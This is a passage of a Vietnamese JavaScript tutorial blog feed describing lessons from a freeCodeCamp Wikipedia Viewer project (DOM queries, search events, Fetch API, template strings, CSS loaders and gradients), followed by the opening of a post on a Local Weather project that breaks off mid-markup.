0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chỉ Query DOM một lần giúp nâng cao hiệu năng</h3> <p>Về nguyên tắc, việc query DOM sẽ tốn thời gian. Vì vậy, bạn chỉ nên query một lần duy nhất và lưu lại để sử dụng sau này. Không nên cứ khi cần dùng thì lại query.</p> <p>Ví dụ như trong project này, những phần tử nào được sử dụng nhiều hơn một lần thì mình sẽ lưu lại:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> $ <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>document<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> _input <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#inp-search"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> _searchWrapper <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">".search-wrapper"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> _header <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"header"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> _resultWrapper <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">".result"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> _loading <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">".loading"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> _title <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"header"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ngoài ra, mình sử dụng kí tự _ đằng trước biến số, để quy định rằng đây là đại diện cho DOM chứ không phải biến số thông thường.</p> <p>Cái này là tự mình quy định thôi nhé, để tránh nhầm lẫn với jQuery. Nếu như sử dụng jQuery thì mình hay sử dụng kí tự $, ví dụ: *$input, $searchWrapper*,...</p> <h3 id="hai-sự-kiện-quan-trọng-với-inputtypesearch" style="position:relative;"><a href="#hai-s%E1%BB%B1-ki%E1%BB%87n-quan-tr%E1%BB%8Dng-v%E1%BB%9Bi-inputtypesearch" aria-label="hai sự kiện quan trọng với inputtypesearch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hai sự kiện quan trọng với input[type="search"]</h3> <p>Trong project Wikipedia Viewer này mình sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/search">input[type="search"]</a> để cho người dùng nhập dữ liệu tìm kiếm. Có 2 sự kiện mà mình cần phải xử lý là: <strong>search</strong> và <strong>input</strong>.</p> <p>Sự kiện <strong>search</strong>: xảy ra khi người dùng nhấn phím Enter để bắt đầu tìm kiếm</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">_input<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"search"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> _target <span class="token operator">=</span> event<span class="token punctuation">.</span>target<span class="token punctuation">;</span> <span class="token keyword">let</span> searchText <span class="token operator">=</span> _target<span class="token punctuation">.</span>value<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>searchText <span class="token operator">!==</span> <span class="token string">""</span><span class="token punctuation">)</span> <span class="token function">search</span><span class="token punctuation">(</span>searchText<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> <span class="token function">resetViewResult</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sự kiện <strong>input</strong>: được gọi trong khi nội dung input thay đổi - nghĩa là chỉ cần bạn nhập vào 1 chữ cái hay xóa đi một chữ cái thôi thì sự kiện này cũng sẽ được gọi. Mình cần xử lý sự kiện này khi người dùng xóa hết sạch nội dung trong input. Khi đó, mình sẽ reset lại kết quả tìm kiếm trước đó, để trở về giao diện như ban đầu.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">_input<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"input"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> _target <span class="token operator">=</span> event<span class="token punctuation">.</span>target<span class="token punctuation">;</span> <span class="token keyword">let</span> searchText <span class="token operator">=</span> _target<span class="token punctuation">.</span>value<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>searchText <span class="token operator">===</span> <span class="token string">""</span><span class="token punctuation">)</span> <span class="token function">resetViewResult</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="sử-dụng-fetch-api-thay-vì-xmlhttprequest" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-fetch-api-thay-v%C3%AC-xmlhttprequest" aria-label="sử dụng fetch api thay vì xmlhttprequest permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Fetch API thay vì XMLHttpRequest</h3> <p>Trong project này mình không sử dụng thằng <a href="/xmlhttprequest-tao-http-request-den-server-trong-javascript/">XMLHttpRequest</a>. Thay vào đó, mình sử dụng <a href="https://davidwalsh.name/fetch">Fetch API</a>. Bởi vì, Fetch API được implement dưới dạng <a href="https://davidwalsh.name/promises">Promises</a> nên sử dụng rất gọn.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> api <span class="token operator">=</span> <span class="token string">"https://en.wikipedia.org/w/api.php?format=json&amp;action=query&amp;"</span> <span class="token operator">+</span> <span class="token string">"generator=search&amp;gsrnamespace=0&amp;gsrlimit=10&amp;prop=pageimages|extracts&amp;"</span> <span class="token operator">+</span> <span class="token string">"pilimit=max&amp;exintro&amp;explaintext&amp;exsentences=1&amp;exlimit=max&amp;gsrsearch="</span><span class="token punctuation">;</span> <span class="token keyword">let</span> cors <span class="token operator">=</span> <span class="token string">"https://cors-anywhere.herokuapp.com/"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">search</span><span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">showLoading</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">fetch</span><span class="token punctuation">(</span>cors <span class="token operator">+</span> api <span class="token operator">+</span> text<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">json</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">viewResult</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">onSearchError</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó:</p> <ul> <li><em>cors + api + text</em> : chính là địa chỉ URL để request (kiểu mặc định là GET).</li> <li>Khi có kết quả trả về thành công, mình sẽ xử lý tiếp <em>.then(response => response.json())</em> - tức là parse response thành <a href="/tim-hieu-ve-json-trong-javascript/">JSON</a>.</li> <li>May mắn thay, hàm <em>json()</em> cũng trả về Promises nên mình có thể xử lý tiếp <em>.then(json => viewResult(json))</em> - tức là hiển thị kết quả tìm kiếm. Hàm <em>viewResult</em> là do mình tự định nghĩa.</li> <li>Cuối cùng là xử lý khi có bất kì lỗi nào xảy ra với <em>.catch(error => onSearchError())</em>.</li> </ul> <p>Rõ ràng, khi sử dụng Fetch API thì code trở nên rõ ràng và sáng sủa hơn rất nhiều.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 582px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJElEQVQozwEZA+b8AKKSc6KYg9nNuOTcy760oeTh2fz69fv58fv58Pr26v767+zbyaicfnt5Zcirmv/RuNOvmZKQiW5oYCchGgChlXa0qpPs59rh2cjCuavf3NL9/Pb6+Oz7+O338uXOwa+8q5iemIKCeGmdjHyoj3ykj32XjYJ0aV59clgAiYBmp6CM19HC29PDx8C0uqyc597N6OTV9vHjxLWllGtUmHdlrqKUbF9RlIZzsJ6Gmo13lIVwf3FfZVxMAJmQdn9+cop+btXQxa6bidaqk6OCatvQuvfv3rGik6t5YruFbqCTh31tVci6ptW+p5SJfJyZinx4ajMrIwCimYBmZliRh3jW0cadeGTOmYaeb1qtmof0697EvLe/rqe4qaXGy9O5sabd08jWrpZiRjh2Ykmtppc2LycAqpiBX11RiYB0sqmdfFdFy5F8mWhThW1et52Xwbay3N7f3t/f3Nzb2dvd4NzXo3pjmnRceVY4flxDYFhSAMarkpeHeLmfiaWUgS8cDrR6W2pFMTkpGti7rd/Rz7KxtYmSpaa0zY2asbqxq1tCL7mQc8e3oo2MbN/XvADJuavBrZ7RwLLHjIiMSzi7im+/j3mdTELtxsL38+urq7BJU2eIjqWJjaDBvrzDtqrXvarV0cjR4tDb07kAt5Z8mot9v6KX/lVX+kFE70tJ/VdY/0dN7o2B///5rLC8PUdYkGxauZ+XzdDTz9DRyszO0tLU2tfYaG+CANLIubipmKF3WvB9ef92ff5wc/50efl7ftmbfvXo3pSbqUhOX6Z9aYB5gp2cotTGvr2diq28w+Ti45qdpwD6+/qvqJuYdl78+vjX6enR4uHW5uX8///ht6DhzcFueYxvcICWcmRia4KgnqbPp46Yk4+lusPp4t3X1tUA7Ovj3t/Zu56JyoJ52W9w3XFx23Bw03Z02KCCvLKwZXOMhX6KlHx4a3yZopaYlH5zj6y+z+Hp+/j0+PXxAP/+/f79+sadiMRnXtYhI+ApKtcgIb4kH9KXfKGiqkRIUlRAOnxkX1Vfco+KkGlxhUtef4ycrPf28//++qC57oRyU3NXAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="fetch vs xmlhttprequest - wikipedia viewer" title="fetch vs xmlhttprequest - wikipedia viewer" src="/static/83675114bec988122819983429b50003/0b5a5/fetch-vs-xmlhttprequest-wikipedia-viewer-completejavascript.com_.png" srcset="/static/83675114bec988122819983429b50003/103f2/fetch-vs-xmlhttprequest-wikipedia-viewer-completejavascript.com_.png 165w, /static/83675114bec988122819983429b50003/748ba/fetch-vs-xmlhttprequest-wikipedia-viewer-completejavascript.com_.png 330w, /static/83675114bec988122819983429b50003/0b5a5/fetch-vs-xmlhttprequest-wikipedia-viewer-completejavascript.com_.png 582w" sizes="(max-width: 582px) 100vw, 582px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><em>Ảnh tham khảo: ANTONIO GUILLEM/SHUTTERSTOCK</em></p> <h3 id="sử-dụng-es6-template-string-để-tạo-html-template" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-es6-template-string-%C4%91%E1%BB%83-t%E1%BA%A1o-html-template" aria-label="sử dụng es6 template string để tạo html template permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng ES6 Template String để tạo HTML Template</h3> <p>Trong bài viết <a href="/su-dung-es6-template-string-co-gi-hay/">Sử dụng ES6 Template String có gì hay?</a>, mình cũng đã giới thiệu với các bạn về cách sử dụng Template String để tạo HTML Template rồi. Các bạn có thể đọc bài viết đó để nắm được cách làm.</p> <p>Ở đây mình thực hiện như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">itemHTMLTemplate</span><span class="token punctuation">(</span><span class="token parameter">title<span class="token punctuation">,</span> description<span class="token punctuation">,</span> pageid</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> linkTarget <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>wikiPage<span class="token interpolation-punctuation punctuation">}</span></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>pageid<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;div class="result-item my-transition" target="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>linkTarget<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">">\n</span><span class="token template-punctuation string">`</span></span> <span class="token operator">+</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;div class="content">\n</span><span class="token template-punctuation string">`</span></span> <span class="token operator">+</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;h2>&lt;a href="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>linkTarget<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">" target="_blank"></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>title<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/a>&lt;/h2>\n</span><span class="token template-punctuation string">`</span></span> <span class="token operator">+</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;p></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>description<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/p>\n</span><span class="token template-punctuation string">`</span></span> <span class="token operator">+</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;/div>\n</span><span class="token template-punctuation string">`</span></span> <span class="token operator">+</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;/div>\n</span><span class="token template-punctuation string">`</span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">htmlToElement</span><span class="token punctuation">(</span><span class="token parameter">html</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> template <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"template"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> html <span class="token operator">=</span> html<span class="token punctuation">.</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Never return a text node of whitespace as the result</span> template<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> html<span class="token punctuation">;</span> <span class="token keyword">return</span> template<span class="token punctuation">.</span>content<span class="token punctuation">.</span>firstChild<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Hàm <em>itemHTMLTemplate</em> tạo ra HTML template tương ứng với mỗi kết quả tìm kiếm</li> <li>Hàm <em>htmlToElement</em> dùng để tạo ra phần tử DOM tương ứng.</li> </ul> <p>Qua đó, mình có thể sử dụng 2 <a href="/ham-la-gi-ham-trong-javascript/">hàm số</a> này để hiển thị kết quả tìm kiếm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">viewResult</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">showLoading</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">resetViewResult</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">.</span>query<span class="token punctuation">)</span> <span class="token punctuation">{</span> _searchWrapper<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">"view-result"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> _header<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">"view-result"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> pages <span class="token operator">=</span> result<span class="token punctuation">.</span>query<span class="token punctuation">.</span>pages<span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> pages<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> page <span class="token operator">=</span> pages<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> html <span class="token operator">=</span> <span class="token function">itemHTMLTemplate</span><span class="token punctuation">(</span>page<span class="token punctuation">.</span>title<span class="token punctuation">,</span> page<span class="token punctuation">.</span>extract<span class="token punctuation">,</span> page<span class="token punctuation">.</span>pageid<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> _resultItem <span class="token operator">=</span> <span class="token function">htmlToElement</span><span class="token punctuation">(</span>html<span class="token punctuation">)</span><span class="token punctuation">;</span> _resultWrapper<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>_resultItem<span class="token punctuation">)</span><span class="token punctuation">;</span> _resultItem<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> onResultItemClicked<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="hiển-thị-loading-với-pure-css-loaders" style="position:relative;"><a href="#hi%E1%BB%83n-th%E1%BB%8B-loading-v%E1%BB%9Bi-pure-css-loaders" aria-label="hiển thị loading với pure css loaders permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hiển thị loading với Pure CSS Loaders</h3> <p>Nếu bạn để ý thì sẽ thấy khoảng thời gian khi bắt đầu tìm kiếm cho đến khi có kết quả trả về, mình có hiển thị một hình tròn - xoay, xoay, để biểu thị rằng: <em>chương trình đang thực hiện tìm kiếm</em>.</p> <p>Cái này là cần thiết vì khi đó người dùng sẽ biết rằng: cần phải đợi kết quả trả về. Giả sử, mình không hiển thị cái đó lên, thì bạn sẽ không biết là <em>chương trình lỗi hay sao mà nhấn vào chả có hiện tượng gì xảy ra?</em></p> <p>Bạn có thể tìm kiếm rất nhiều hướng dẫn trên mạng về chủ đề này với từ khóa <strong>loading css</strong>. Ở đây, mình sử dụng <a href="https://loading.io/css/">Pure CSS Loaders</a> - vừa đẹp lại vừa dễ sử dụng. Ngoài ra, trang này cho phép bạn sử dụng 12 mẫu hoàn toàn free - với License CC0.</p> <p>Về cách sử dụng: bạn chỉ cần copy đoạn HTML và đoạn CSS về rồi nhét vào project là xong. Ví dụ:</p> <p><a href="https://codepen.io/completejavascript/pen/xjXwRr"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/xjXwRr/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h3 id="sử-dụng-gradient-css" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-gradient-css" aria-label="sử dụng gradient css permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Gradient CSS</h3> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.main-app</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">left</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">min-height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">background</span><span class="token punctuation">:</span> <span class="token function">linear-gradient</span><span class="token punctuation">(</span> to bottom right<span class="token punctuation">,</span> <span class="token function">rgb</span><span class="token punctuation">(</span>115<span class="token punctuation">,</span> 237<span class="token punctuation">,</span> 241<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">rgb</span><span class="token punctuation">(</span>81<span class="token punctuation">,</span> 81<span class="token punctuation">,</span> 229<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Phần này mình sẽ không giải thích nhiều. Thay vào đó, bạn có thể đọc thêm ở các trang mình để dưới đây.</p> <p>Về cách sử dụng Gradient CSS thì bạn có thể tham khảo tại <a href="https://www.w3schools.com/css/css3_gradients.asp">đây</a> - rất chi tiết.</p> <p>Về cách lựa chọn màu sao cho đẹp mắt, bạn có thể tham khảo ở các bài viết:</p> <ul> <li><a href="https://digitalsynopsis.com/design/beautiful-color-gradients-backgrounds/">30 Beautiful Color Gradients For Your Next Design Project</a></li> <li><a href="https://digitalsynopsis.com/design/beautiful-color-ui-gradients-backgrounds/">36 Beautiful Color Gradients For Your Next Design Project</a></li> <li><a href="https://digitalsynopsis.com/design/beautiful-color-gradient-hues-backgrounds/">27 Beautiful Color Gradients For Your Next Design Project</a></li> </ul> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là những bài học mà mình rút ra được sau khi hoàn thành project Wikipedia Viewer từ FCC. Mình có thể tóm tắt lại như sau:</p> <ul> <li>Sử dụng event DOMContentLoaded hay load?</li> <li>Sử dụng querySelector</li> <li>Chỉ Query DOM một lần giúp nâng cao hiệu năng</li> <li>Hai sự kiện quan trọng với input[type="search"]</li> <li>Sử dụng Fetch API thay vì XMLHttpRequest</li> <li>Sử dụng ES6 String Template để tạo HTML Template</li> <li>Hiển thị loading với Pure CSS Loaders</li> <li>Sử dụng Gradient CSS</li> </ul> <p>Hy vọng bạn có thể tìm thấy được 1 chút hữu ích từ đây. Nếu có thắc mắc cần giải đáp hay góp ý gì với mình thì bạn có thể để lại trong phần bình luận phía dưới.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/lap-trinh-javascript-voi-fcc-twitch-tv-json-api/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Lập trình JavaScript với FCC - Local Weather]]><![CDATA[Tiếp tục series lập trình JavaScript với FCC, hôm nay mình sẽ giới thiệu một project là Show the Local Weather. Dưới đây là demo trên codepen. Ngoài ra, bạn có thể xem bản đầy đủ…]]>https://completejavascript.com/lap-trinh-javascript-voi-fcc-local-weather/https://completejavascript.com/lap-trinh-javascript-voi-fcc-local-weather/<![CDATA[API]]><![CDATA[Canvas]]><![CDATA[CORS]]><![CDATA[CSS]]><![CDATA[jQuery]]><![CDATA[FCC]]>Sun, 11 Mar 2018 00:00:40 GMT<p>Tiếp tục series<a href="/tag/fcc/"> lập trình JavaScript với FCC</a>, hôm nay mình sẽ giới thiệu một project là <strong>Show the Local Weather</strong>. Dưới đây là demo trên codepen. Ngoài ra, bạn có thể xem bản đầy đủ tại <a href="http://about.phamvanlam.com/fcc-local-weather">đây</a>.</p> <p><a href="https://codepen.io/completejavascript/pen/JLeEao"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/JLeEao/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h2 id="yêu-cầu-bài-toán-show-the-local-weather" style="position:relative;"><a href="#y%C3%AAu-c%E1%BA%A7u-b%C3%A0i-to%C3%A1n-show-the-local-weather" aria-label="yêu cầu bài toán show the local weather permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 